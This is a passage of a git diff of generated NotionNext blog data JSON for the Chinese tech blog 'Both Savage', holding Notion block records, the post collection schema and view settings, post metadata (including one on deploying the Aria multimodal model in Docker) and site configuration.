b3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733470868560,"last_edited_time":1733470868560,"parent_id":"154f5010-17f2-8104-899f-fa5e60b7413b","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"154f5010-17f2-8169-903f-e57b1de55ef1":{"value":{"id":"154f5010-17f2-8169-903f-e57b1de55ef1","type":"column","content":["154f5010-17f2-8179-b660-cc67a035080b"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733470868560,"last_edited_time":1733470868560,"parent_id":"154f5010-17f2-8104-899f-fa5e60b7413b","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"154f5010-17f2-8118-97e1-d3408a134c33":{"value":{"id":"154f5010-17f2-8118-97e1-d3408a134c33","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1733470868560,"last_edited_time":1733470868560,"parent_id":"154f5010-17f2-8165-9399-dbd93a29b542","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"154f5010-17f2-810a-956a-dcf89c0d569e":{"value":{"id":"154f5010-17f2-810a-956a-dcf89c0d569e","type":"text","properties":{"title":[["\n",[["i"]]],[" 是在往前走就好",[["b"],["i"]]],["\n ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733470868560,"last_edited_time":1733470868560,"parent_id":"154f5010-17f2-8132-a836-f5a0cf2b832d","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"154f5010-17f2-813e-a14e-d7f3b37562ce":{"value":{"id":"154f5010-17f2-813e-a14e-d7f3b37562ce","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1733470868560,"last_edited_time":1733470868560,"parent_id":"154f5010-17f2-8132-a836-f5a0cf2b832d","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"154f5010-17f2-8179-b660-cc67a035080b":{"value":{"id":"154f5010-17f2-8179-b660-cc67a035080b","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1733470868560,"last_edited_time":1733470868560,"parent_id":"154f5010-17f2-8169-903f-e57b1de55ef1","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"将进酒","status":"Published","publishDate":1704067200000,"publishDay":"2024-1-1","lastEditedDate":"2024-04-06T03:31:44.998Z","lastEditedDay":"2024-4-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/begin.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/begin.json new file mode 100644 index 000000000..30feaf4ad --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/begin.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core 